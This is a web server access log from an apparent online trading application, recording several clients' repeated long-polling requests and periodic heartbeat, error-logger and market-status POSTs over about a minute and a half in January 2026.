[09/Jan/2026:13:44:03 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937711199 HTTP/1.1" -
[09/Jan/2026:13:44:07 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937722539 HTTP/1.1" -
[09/Jan/2026:13:44:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937732062 HTTP/1.1" -
[09/Jan/2026:13:44:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937717508 HTTP/1.1" -
[09/Jan/2026:13:44:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937716308 HTTP/1.1" -
[09/Jan/2026:13:44:12 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937727617 HTTP/1.1" -
[09/Jan/2026:13:44:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937737127 HTTP/1.1" -
[09/Jan/2026:13:44:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937722581 HTTP/1.1" -
[09/Jan/2026:13:44:13 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937721373 HTTP/1.1" -
[09/Jan/2026:13:44:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937732723 HTTP/1.1" -
[09/Jan/2026:13:44:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937742190 HTTP/1.1" -
[09/Jan/2026:13:44:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:44:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:44:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:44:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:44:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:44:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:44:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:44:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:44:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937727716 HTTP/1.1" -
[09/Jan/2026:13:44:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937726468 HTTP/1.1" -
[09/Jan/2026:13:44:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:44:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:44:22 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937737801 HTTP/1.1" -
[09/Jan/2026:13:44:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937747260 HTTP/1.1" -
[09/Jan/2026:13:44:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:44:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:44:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937731534 HTTP/1.1" -
[09/Jan/2026:13:44:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937732868 HTTP/1.1" -
[09/Jan/2026:13:44:27 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937742841 HTTP/1.1" -
[09/Jan/2026:13:44:27 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937752288 HTTP/1.1" -
[09/Jan/2026:13:44:29 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937736565 HTTP/1.1" -
[09/Jan/2026:13:44:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937738012 HTTP/1.1" -
[09/Jan/2026:13:44:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:44:32 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937747937 HTTP/1.1" -
[09/Jan/2026:13:44:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937757322 HTTP/1.1" -
[09/Jan/2026:13:44:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:44:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:44:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:44:34 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937741632 HTTP/1.1" -
[09/Jan/2026:13:44:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937743145 HTTP/1.1" -
[09/Jan/2026:13:44:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937762378 HTTP/1.1" -
[09/Jan/2026:13:44:37 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937753003 HTTP/1.1" -
[09/Jan/2026:13:44:39 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937746709 HTTP/1.1" -
[09/Jan/2026:13:44:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937748197 HTTP/1.1" -
[09/Jan/2026:13:44:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937767445 HTTP/1.1" -
[09/Jan/2026:13:44:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937758102 HTTP/1.1" -
[09/Jan/2026:13:44:44 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937751779 HTTP/1.1" -
[09/Jan/2026:13:44:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937753249 HTTP/1.1" -
[09/Jan/2026:13:44:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937772468 HTTP/1.1" -
[09/Jan/2026:13:44:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937763167 HTTP/1.1" -
[09/Jan/2026:13:44:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:44:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:44:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:44:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:44:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:44:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:44:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:44:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:44:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937756865 HTTP/1.1" -
[09/Jan/2026:13:44:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937758455 HTTP/1.1" -
[09/Jan/2026:13:44:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:44:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:44:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937777530 HTTP/1.1" -
[09/Jan/2026:13:44:52 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937768255 HTTP/1.1" -
[09/Jan/2026:13:44:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:44:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:44:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937761933 HTTP/1.1" -
[09/Jan/2026:13:44:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937763619 HTTP/1.1" -
[09/Jan/2026:13:44:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937782551 HTTP/1.1" -
[09/Jan/2026:13:44:58 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937773284 HTTP/1.1" -
[09/Jan/2026:13:44:59 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937766967 HTTP/1.1" -
[09/Jan/2026:13:45:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937768826 HTTP/1.1" -
[09/Jan/2026:13:45:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:45:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:45:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:45:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:45:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937787590 HTTP/1.1" -
[09/Jan/2026:13:45:03 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937778639 HTTP/1.1" -
[09/Jan/2026:13:45:04 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937772040 HTTP/1.1" -
[09/Jan/2026:13:45:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937774001 HTTP/1.1" -
[09/Jan/2026:13:45:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937792646 HTTP/1.1" -
[09/Jan/2026:13:45:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937783713 HTTP/1.1" -
[09/Jan/2026:13:45:09 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937777123 HTTP/1.1" -
[09/Jan/2026:13:45:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937779070 HTTP/1.1" -
[09/Jan/2026:13:45:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937797718 HTTP/1.1" -
[09/Jan/2026:13:45:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937788803 HTTP/1.1" -
[09/Jan/2026:13:45:14 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937782195 HTTP/1.1" -
[09/Jan/2026:13:45:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937784154 HTTP/1.1" -
[09/Jan/2026:13:45:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937802738 HTTP/1.1" -
[09/Jan/2026:13:45:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:45:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
